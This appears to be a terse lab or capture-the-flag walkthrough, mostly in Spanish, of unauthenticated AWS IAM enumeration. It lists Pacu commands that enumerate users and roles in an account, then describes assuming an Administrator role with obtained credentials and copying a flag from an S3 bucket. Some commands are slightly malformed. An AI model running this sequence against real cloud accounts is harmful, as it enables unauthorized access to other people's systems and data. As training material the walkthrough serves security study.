Unauthenticated AWS IAM Principals Enumeration

cat policy.json

aws iam update-assume-role-policy --role-name IAMEnum --policy-document file://policy.json

python -m json.tool. policy.json

pacu

Nombre mi sesion plabs

set_keys

Metemos las credenciales que nos dieron.

run iam__enum_users --role-name IAMEnum --account-id 104506445608

Vemos la lista de usuarios

run iam__enum_roles --role-name IAMEnum --account-id 104506445608

Vemos la lista de roles. Podemos ver que tienen un rol de Administrador.

Metemos la informacion como el accesskeyid,secret y token en aws.

vim ~/.aws/credentials

aws sts get-caller-identity

Verificamos que somos Admin.

aws iam get-role --role-name Administrator

Tenemos acceso a un bucket it-admin-hl.

aws s3 ls it-admin-hl

aws s3 cp s3://it-admin-hl/flag.txt

bc flag.txt